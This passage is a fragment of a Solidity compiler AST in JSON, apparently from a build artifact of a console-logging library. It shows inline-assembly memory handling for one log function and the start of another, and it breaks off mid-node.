2","typeString":"bytes32"}},"visibility":"internal"}],"id":38221,"nodeType":"VariableDeclarationStatement","src":"136257:10:22"},{"assignments":[38223],"declarations":[{"constant":false,"id":38223,"mutability":"mutable","name":"m3","nameLocation":"136285:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136277:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38222,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136277:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38224,"nodeType":"VariableDeclarationStatement","src":"136277:10:22"},{"assignments":[38226],"declarations":[{"constant":false,"id":38226,"mutability":"mutable","name":"m4","nameLocation":"136305:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136297:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38225,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136297:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38227,"nodeType":"VariableDeclarationStatement","src":"136297:10:22"},{"assignments":[38229],"declarations":[{"constant":false,"id":38229,"mutability":"mutable","name":"m5","nameLocation":"136325:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136317:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38228,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136317:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38230,"nodeType":"VariableDeclarationStatement","src":"136317:10:22"},{"assignments":[38232],"declarations":[{"constant":false,"id":38232,"mutability":"mutable","name":"m6","nameLocation":"136345:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136337:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38231,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136337:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38233,"nodeType":"VariableDeclarationStatement","src":"136337:10:22"},{"AST":{"nativeSrc":"136366:831:22","nodeType":"YulBlock","src":"136366:831:22","statements":[{"body":{"nativeSrc":"136409:313:22","nodeType":"YulBlock","src":"136409:313:22","statements":[{"nativeSrc":"136427:15:22","nodeType":"YulVariableDeclaration","src":"136427:15:22","value":{"kind":"number","nativeSrc":"136441:1:22","nodeType":"YulLiteral","src":"136441:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"136431:6:22","nodeType":"YulTypedName","src":"136431:6:22","type":""}]},{"body":{"nativeSrc":"136512:40:22","nodeType":"YulBlock","src":"136512:40:22","statements":[{"body":{"nativeSrc":"136541:9:22","nodeType":"YulBlock","src":"136541:9:22","statements":[{"nativeSrc":"136543:5:22","nodeType":"YulBreak","src":"136543:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"136529:6:22","nodeType":"YulIdentifier","src":"136529:6:22"},{"name":"w","nativeSrc":"136537:1:22","nodeType":"YulIdentifier","src":"136537:1:22"}],"functionName":{"name":"byte","nativeSrc":"136524:4:22","nodeType":"YulIdentifier","src":"136524:4:22"},"nativeSrc":"136524:15:22","nodeType":"YulFunctionCall","src":"136524:15:22"}],"functionName":{"name":"iszero","nativeSrc":"136517:6:22","nodeType":"YulIdentifier","src":"136517:6:22"},"nativeSrc":"136517:23:22","nodeType":"YulFunctionCall","src":"136517:23:22"},"nativeSrc":"136514:36:22","nodeType":"YulIf","src":"136514:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"136469:6:22","nodeType":"YulIdentifier","src":"136469:6:22"},{"kind":"number","nativeSrc":"136477:4:22","nodeType":"YulLiteral","src":"136477:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"136466:2:22","nodeType":"YulIdentifier","src":"136466:2:22"},"nativeSrc":"136466:16:22","nodeType":"YulFunctionCall","src":"136466:16:22"},"nativeSrc":"136459:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"136483:28:22","nodeType":"YulBlock","src":"136483:28:22","statements":[{"nativeSrc":"136485:24:22","nodeType":"YulAssignment","src":"136485:24:22","value":{"arguments":[{"name":"length","nativeSrc":"136499:6:22","nodeType":"YulIdentifier","src":"136499:6:22"},{"kind":"number","nativeSrc":"136507:1:22","nodeType":"YulLiteral","src":"136507:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"136495:3:22","nodeType":"YulIdentifier","src":"136495:3:22"},"nativeSrc":"136495:14:22","nodeType":"YulFunctionCall","src":"136495:14:22"},"variableNames":[{"name":"length","nativeSrc":"136485:6:22","nodeType":"YulIdentifier","src":"136485:6:22"}]}]},"pre":{"nativeSrc":"136463:2:22","nodeType":"YulBlock","src":"136463:2:22","statements":[]},"src":"136459:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"136576:3:22","nodeType":"YulIdentifier","src":"136576:3:22"},{"name":"length","nativeSrc":"136581:6:22","nodeType":"YulIdentifier","src":"136581:6:22"}],"functionName":{"name":"mstore","nativeSrc":"136569:6:22","nodeType":"YulIdentifier","src":"136569:6:22"},"nativeSrc":"136569:19:22","nodeType":"YulFunctionCall","src":"136569:19:22"},"nativeSrc":"136569:19:22","nodeType":"YulExpressionStatement","src":"136569:19:22"},{"nativeSrc":"136605:37:22","nodeType":"YulVariableDeclaration","src":"136605:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"136622:3:22","nodeType":"YulLiteral","src":"136622:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"136631:1:22","nodeType":"YulLiteral","src":"136631:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"136634:6:22","nodeType":"YulIdentifier","src":"136634:6:22"}],"functionName":{"name":"shl","nativeSrc":"136627:3:22","nodeType":"YulIdentifier","src":"136627:3:22"},"nativeSrc":"136627:14:22","nodeType":"YulFunctionCall","src":"136627:14:22"}],"functionName":{"name":"sub","nativeSrc":"136618:3:22","nodeType":"YulIdentifier","src":"136618:3:22"},"nativeSrc":"136618:24:22","nodeType":"YulFunctionCall","src":"136618:24:22"},"variables":[{"name":"shift","nativeSrc":"136609:5:22","nodeType":"YulTypedName","src":"136609:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"136670:3:22","nodeType":"YulIdentifier","src":"136670:3:22"},{"kind":"number","nativeSrc":"136675:4:22","nodeType":"YulLiteral","src":"136675:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"136666:3:22","nodeType":"YulIdentifier","src":"136666:3:22"},"nativeSrc":"136666:14:22","nodeType":"YulFunctionCall","src":"136666:14:22"},{"arguments":[{"name":"shift","nativeSrc":"136686:5:22","nodeType":"YulIdentifier","src":"136686:5:22"},{"arguments":[{"name":"shift","nativeSrc":"136697:5:22","nodeType":"YulIdentifier","src":"136697:5:22"},{"name":"w","nativeSrc":"136704:1:22","nodeType":"YulIdentifier","src":"136704:1:22"}],"functionName":{"name":"shr","nativeSrc":"136693:3:22","nodeType":"YulIdentifier","src":"136693:3:22"},"nativeSrc":"136693:13:22","nodeType":"YulFunctionCall","src":"136693:13:22"}],"functionName":{"name":"shl","nativeSrc":"136682:3:22","nodeType":"YulIdentifier","src":"136682:3:22"},"nativeSrc":"136682:25:22","nodeType":"YulFunctionCall","src":"136682:25:22"}],"functionName":{"name":"mstore","nativeSrc":"136659:6:22","nodeType":"YulIdentifier","src":"136659:6:22"},"nativeSrc":"136659:49:22","nodeType":"YulFunctionCall","src":"136659:49:22"},"nativeSrc":"136659:49:22","nodeType":"YulExpressionStatement","src":"136659:49:22"}]},"name":"writeString","nativeSrc":"136380:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"136401:3:22","nodeType":"YulTypedName","src":"136401:3:22","type":""},{"name":"w","nativeSrc":"136406:1:22","nodeType":"YulTypedName","src":"136406:1:22","type":""}],"src":"136380:342:22"},{"nativeSrc":"136735:17:22","nodeType":"YulAssignment","src":"136735:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136747:4:22","nodeType":"YulLiteral","src":"136747:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"136741:5:22","nodeType":"YulIdentifier","src":"136741:5:22"},"nativeSrc":"136741:11:22","nodeType":"YulFunctionCall","src":"136741:11:22"},"variableNames":[{"name":"m0","nativeSrc":"136735:2:22","nodeType":"YulIdentifier","src":"136735:2:22"}]},{"nativeSrc":"136765:17:22","nodeType":"YulAssignment","src":"136765:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136777:4:22","nodeType":"YulLiteral","src":"136777:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"136771:5:22","nodeType":"YulIdentifier","src":"136771:5:22"},"nativeSrc":"136771:11:22","nodeType":"YulFunctionCall","src":"136771:11:22"},"variableNames":[{"name":"m1","nativeSrc":"136765:2:22","nodeType":"YulIdentifier","src":"136765:2:22"}]},{"nativeSrc":"136795:17:22","nodeType":"YulAssignment","src":"136795:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136807:4:22","nodeType":"YulLiteral","src":"136807:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"136801:5:22","nodeType":"YulIdentifier","src":"136801:5:22"},"nativeSrc":"136801:11:22","nodeType":"YulFunctionCall","src":"136801:11:22"},"variableNames":[{"name":"m2","nativeSrc":"136795:2:22","nodeType":"YulIdentifier","src":"136795:2:22"}]},{"nativeSrc":"136825:17:22","nodeType":"YulAssignment","src":"136825:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136837:4:22","nodeType":"YulLiteral","src":"136837:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"136831:5:22","nodeType":"YulIdentifier","src":"136831:5:22"},"nativeSrc":"136831:11:22","nodeType":"YulFunctionCall","src":"136831:11:22"},"variableNames":[{"name":"m3","nativeSrc":"136825:2:22","nodeType":"YulIdentifier","src":"136825:2:22"}]},{"nativeSrc":"136855:17:22","nodeType":"YulAssignment","src":"136855:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136867:4:22","nodeType":"YulLiteral","src":"136867:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"136861:5:22","nodeType":"YulIdentifier","src":"136861:5:22"},"nativeSrc":"136861:11:22","nodeType":"YulFunctionCall","src":"136861:11:22"},"variableNames":[{"name":"m4","nativeSrc":"136855:2:22","nodeType":"YulIdentifier","src":"136855:2:22"}]},{"nativeSrc":"136885:17:22","nodeType":"YulAssignment","src":"136885:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136897:4:22","nodeType":"YulLiteral","src":"136897:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"136891:5:22","nodeType":"YulIdentifier","src":"136891:5:22"},"nativeSrc":"136891:11:22","nodeType":"YulFunctionCall","src":"136891:11:22"},"variableNames":[{"name":"m5","nativeSrc":"136885:2:22","nodeType":"YulIdentifier","src":"136885:2:22"}]},{"nativeSrc":"136915:17:22","nodeType":"YulAssignment","src":"136915:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"136927:4:22","nodeType":"YulLiteral","src":"136927:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"136921:5:22","nodeType":"YulIdentifier","src":"136921:5:22"},"nativeSrc":"136921:11:22","nodeType":"YulFunctionCall","src":"136921:11:22"},"variableNames":[{"name":"m6","nativeSrc":"136915:2:22","nodeType":"YulIdentifier","src":"136915:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137018:4:22","nodeType":"YulLiteral","src":"137018:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"137024:10:22","nodeType":"YulLiteral","src":"137024:10:22","type":"","value":"0x457fe3cf"}],"functionName":{"name":"mstore","nativeSrc":"137011:6:22","nodeType":"YulIdentifier","src":"137011:6:22"},"nativeSrc":"137011:24:22","nodeType":"YulFunctionCall","src":"137011:24:22"},"nativeSrc":"137011:24:22","nodeType":"YulExpressionStatement","src":"137011:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137055:4:22","nodeType":"YulLiteral","src":"137055:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"137061:2:22","nodeType":"YulIdentifier","src":"137061:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137048:6:22","nodeType":"YulIdentifier","src":"137048:6:22"},"nativeSrc":"137048:16:22","nodeType":"YulFunctionCall","src":"137048:16:22"},"nativeSrc":"137048:16:22","nodeType":"YulExpressionStatement","src":"137048:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137084:4:22","nodeType":"YulLiteral","src":"137084:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"137090:4:22","nodeType":"YulLiteral","src":"137090:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"137077:6:22","nodeType":"YulIdentifier","src":"137077:6:22"},"nativeSrc":"137077:18:22","nodeType":"YulFunctionCall","src":"137077:18:22"},"nativeSrc":"137077:18:22","nodeType":"YulExpressionStatement","src":"137077:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137115:4:22","nodeType":"YulLiteral","src":"137115:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"137121:2:22","nodeType":"YulIdentifier","src":"137121:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137108:6:22","nodeType":"YulIdentifier","src":"137108:6:22"},"nativeSrc":"137108:16:22","nodeType":"YulFunctionCall","src":"137108:16:22"},"nativeSrc":"137108:16:22","nodeType":"YulExpressionStatement","src":"137108:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137144:4:22","nodeType":"YulLiteral","src":"137144:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"137150:2:22","nodeType":"YulIdentifier","src":"137150:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137137:6:22","nodeType":"YulIdentifier","src":"137137:6:22"},"nativeSrc":"137137:16:22","nodeType":"YulFunctionCall","src":"137137:16:22"},"nativeSrc":"137137:16:22","nodeType":"YulExpressionStatement","src":"137137:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137178:4:22","nodeType":"YulLiteral","src":"137178:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"137184:2:22","nodeType":"YulIdentifier","src":"137184:2:22"}],"functionName":{"name":"writeString","nativeSrc":"137166:11:22","nodeType":"YulIdentifier","src":"137166:11:22"},"nativeSrc":"137166:21:22","nodeType":"YulFunctionCall","src":"137166:21:22"},"nativeSrc":"137166:21:22","nodeType":"YulExpressionStatement","src":"137166:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38214,"isOffset":false,"isSlot":false,"src":"136735:2:22","valueSize":1},{"declaration":38217,"isOffset":false,"isSlot":false,"src":"136765:2:22","valueSize":1},{"declaration":38220,"isOffset":false,"isSlot":false,"src":"136795:2:22","valueSize":1},{"declaration":38223,"isOffset":false,"isSlot":false,"src":"136825:2:22","valueSize":1},{"declaration":38226,"isOffset":false,"isSlot":false,"src":"136855:2:22","valueSize":1},{"declaration":38229,"isOffset":false,"isSlot":false,"src":"136885:2:22","valueSize":1},{"declaration":38232,"isOffset":false,"isSlot":false,"src":"136915:2:22","valueSize":1},{"declaration":38204,"isOffset":false,"isSlot":false,"src":"137061:2:22","valueSize":1},{"declaration":38206,"isOffset":false,"isSlot":false,"src":"137184:2:22","valueSize":1},{"declaration":38208,"isOffset":false,"isSlot":false,"src":"137121:2:22","valueSize":1},{"declaration":38210,"isOffset":false,"isSlot":false,"src":"137150:2:22","valueSize":1}],"id":38234,"nodeType":"InlineAssembly","src":"136357:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38236,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"137222:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38237,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"137228:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38235,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"137206:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38238,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"137206:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38239,"nodeType":"ExpressionStatement","src":"137206:27:22"},{"AST":{"nativeSrc":"137252:214:22","nodeType":"YulBlock","src":"137252:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"137273:4:22","nodeType":"YulLiteral","src":"137273:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"137279:2:22","nodeType":"YulIdentifier","src":"137279:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137266:6:22","nodeType":"YulIdentifier","src":"137266:6:22"},"nativeSrc":"137266:16:22","nodeType":"YulFunctionCall","src":"137266:16:22"},"nativeSrc":"137266:16:22","nodeType":"YulExpressionStatement","src":"137266:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137302:4:22","nodeType":"YulLiteral","src":"137302:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"137308:2:22","nodeType":"YulIdentifier","src":"137308:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137295:6:22","nodeType":"YulIdentifier","src":"137295:6:22"},"nativeSrc":"137295:16:22","nodeType":"YulFunctionCall","src":"137295:16:22"},"nativeSrc":"137295:16:22","nodeType":"YulExpressionStatement","src":"137295:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137331:4:22","nodeType":"YulLiteral","src":"137331:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"137337:2:22","nodeType":"YulIdentifier","src":"137337:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137324:6:22","nodeType":"YulIdentifier","src":"137324:6:22"},"nativeSrc":"137324:16:22","nodeType":"YulFunctionCall","src":"137324:16:22"},"nativeSrc":"137324:16:22","nodeType":"YulExpressionStatement","src":"137324:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137360:4:22","nodeType":"YulLiteral","src":"137360:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"137366:2:22","nodeType":"YulIdentifier","src":"137366:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137353:6:22","nodeType":"YulIdentifier","src":"137353:6:22"},"nativeSrc":"137353:16:22","nodeType":"YulFunctionCall","src":"137353:16:22"},"nativeSrc":"137353:16:22","nodeType":"YulExpressionStatement","src":"137353:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137389:4:22","nodeType":"YulLiteral","src":"137389:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"137395:2:22","nodeType":"YulIdentifier","src":"137395:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137382:6:22","nodeType":"YulIdentifier","src":"137382:6:22"},"nativeSrc":"137382:16:22","nodeType":"YulFunctionCall","src":"137382:16:22"},"nativeSrc":"137382:16:22","nodeType":"YulExpressionStatement","src":"137382:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137418:4:22","nodeType":"YulLiteral","src":"137418:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"137424:2:22","nodeType":"YulIdentifier","src":"137424:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137411:6:22","nodeType":"YulIdentifier","src":"137411:6:22"},"nativeSrc":"137411:16:22","nodeType":"YulFunctionCall","src":"137411:16:22"},"nativeSrc":"137411:16:22","nodeType":"YulExpressionStatement","src":"137411:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"137447:4:22","nodeType":"YulLiteral","src":"137447:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"137453:2:22","nodeType":"YulIdentifier","src":"137453:2:22"}],"functionName":{"name":"mstore","nativeSrc":"137440:6:22","nodeType":"YulIdentifier","src":"137440:6:22"},"nativeSrc":"137440:16:22","nodeType":"YulFunctionCall","src":"137440:16:22"},"nativeSrc":"137440:16:22","nodeType":"YulExpressionStatement","src":"137440:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38214,"isOffset":false,"isSlot":false,"src":"137279:2:22","valueSize":1},{"declaration":38217,"isOffset":false,"isSlot":false,"src":"137308:2:22","valueSize":1},{"declaration":38220,"isOffset":false,"isSlot":false,"src":"137337:2:22","valueSize":1},{"declaration":38223,"isOffset":false,"isSlot":false,"src":"137366:2:22","valueSize":1},{"declaration":38226,"isOffset":false,"isSlot":false,"src":"137395:2:22","valueSize":1},{"declaration":38229,"isOffset":false,"isSlot":false,"src":"137424:2:22","valueSize":1},{"declaration":38232,"isOffset":false,"isSlot":false,"src":"137453:2:22","valueSize":1}],"id":38240,"nodeType":"InlineAssembly","src":"137243:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"136141:3:22","parameters":{"id":38211,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38204,"mutability":"mutable","name":"p0","nameLocation":"136153:2:22","nodeType":"VariableDeclaration","scope":38242,"src":"136145:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38203,"name":"address","nodeType":"ElementaryTypeName","src":"136145:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38206,"mutability":"mutable","name":"p1","nameLocation":"136165:2:22","nodeType":"VariableDeclaration","scope":38242,"src":"136157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38205,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136157:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38208,"mutability":"mutable","name":"p2","nameLocation":"136177:2:22","nodeType":"VariableDeclaration","scope":38242,"src":"136169:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38207,"name":"address","nodeType":"ElementaryTypeName","src":"136169:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38210,"mutability":"mutable","name":"p3","nameLocation":"136189:2:22","nodeType":"VariableDeclaration","scope":38242,"src":"136181:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38209,"name":"uint256","nodeType":"ElementaryTypeName","src":"136181:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"136144:48:22"},"returnParameters":{"id":38212,"nodeType":"ParameterList","parameters":[],"src":"136207:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38288,"nodeType":"FunctionDefinition","src":"137478:1536:22","nodes":[],"body":{"id":38287,"nodeType":"Block","src":"137553:1461:22","nodes":[],"statements":[{"assignments":[38254],"declarations":[{"constant":false,"id":38254,"mutability":"mutable","name":"m0","nameLocation":"137571:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38253,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38255,"nodeType":"VariableDeclarationStatement","src":"137563:10:22"},{"assignments":[38257],"declarations":[{"constant":false,"id":38257,"mutability":"mutable","name":"m1","nameLocation":"137591:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137583:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38256,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137583:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38258,"nodeType":"VariableDeclarationStatement","src":"137583:10:22"},{"assignments":[38260],"declarations":[{"constant":false,"id":38260,"mutability":"mutable","name":"m2","nameLocation":"137611:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137603:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38259,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137603:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38261,"nodeType":"VariableDeclarationStatement","src":"137603:10:22"},{"assignments":[38263],"declarations":[{"constant":false,"id":38263,"mutability":"mutable","name":"m3","nameLocation":"137631:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137623:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38262,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137623:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38264,"nodeType":"VariableDeclarationStatement","src":"137623:10:22"},{"assignments":[38266],"declarations":[{"constant":false,"id":38266,"mutability":"mutable","name":"m4","nameLocation":"137651:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38265,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137643:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38267,"nodeType":"VariableDeclarationStatement","src":"137643:10:22"},{"assignments":[38269],"declarations":[{"constant":false,"id":38269,"mutability":"mutable","name":"m5","nameLocation":"137671:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137663:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38268,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137663:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38270,"nodeType":"VariableDeclarationStatement","src":"137663:10:22"},{"assignments":[38272],"declarations":[{"constant":false,"id":38272,"mutability":"mutable","name":"m6","nameLocation":"137691:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38271,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137683:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38273,"nodeType":"VariableDeclarationStatement","src":"137683:10:22"},{"assignments":[38275],"declarations":[{"constant":false,"id":38275,"mutability":"mutable","name":"m7","nameLocation":"137711:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137703:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38274,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137703:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38276,"nodeType":"VariableDeclarationStatement","src":"137703:10:22"},{"assignments":[38278],"declarations":[{"constant":false,"id":38278,"mutability":"mutable","name":"m8","nameLocation":"137731:2:22","nodeType":"VariableDeclaration","scope":38287,"src":"137723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38277,"name":"bytes32","nodeType":"ElementaryTypeName","src":"137723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38279,"nodeType":"VariableDeclarationStatement","src":"137723:10:22"},{"AST":{"nativeSrc":"137752:927:22","nodeType":"YulBlock","src":"137752:927:22","statements":[{"body":{"nativeSrc":"137795:313:22","nodeType":"YulBlock","src":"137795:313:22","statements":[{"nativeSrc":"137813:15:22","nodeType":"YulVariableDeclaration","src":"137813:15:22","value":{"kind":"number","nativeSrc":"137827:1:22","nodeType":"YulLiteral","src":"137827:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"137817:6:22","nodeType":"YulTypedName","src":"137817:6:22","type":""}]},{"body":{"nativeSrc":"137898:40:22","nodeType":"YulBlock","src":"137898:40:22","statements":[{"body":{"nativeSrc":"137927:9:22","nodeType":"YulBlock","src":"137927:9:22","statements":[{"nativeSrc":"137929:5:22","nodeType":"YulBreak","src":"137929:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"137915: